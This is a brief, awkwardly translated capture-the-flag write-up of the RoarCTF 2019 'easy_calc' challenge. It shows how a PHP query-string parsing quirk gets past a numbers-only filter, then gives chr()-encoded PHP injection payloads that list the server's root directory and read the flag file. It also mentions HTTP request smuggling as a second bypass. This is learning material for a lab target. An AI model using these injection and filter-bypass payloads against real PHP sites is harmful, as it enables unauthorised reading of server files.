ctf [RoarCTF 2019]easy_ calc

I've learned something new, so record it
First, it's easy to find calc.php, however url Of get But I can't input characters , After the query, it is found that PHP String parsing features of .

utilize PHP String parsing features of

utilize PHP String parsing features of Bypass
This article is very detailed , And the subject of waf Only numbers are allowed , The input string... Is not allowed , use num=%20 Can bypass La .


Then you can go through chr To bypass .

View directory

var_dump(scandir(chr(47)));

see flagg

var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)));

utilize HTTP Smuggling bypass

Vulnerability related articles
According to the vulnerability of inconsistent data received at the front and back end , I don't quite understand QAQ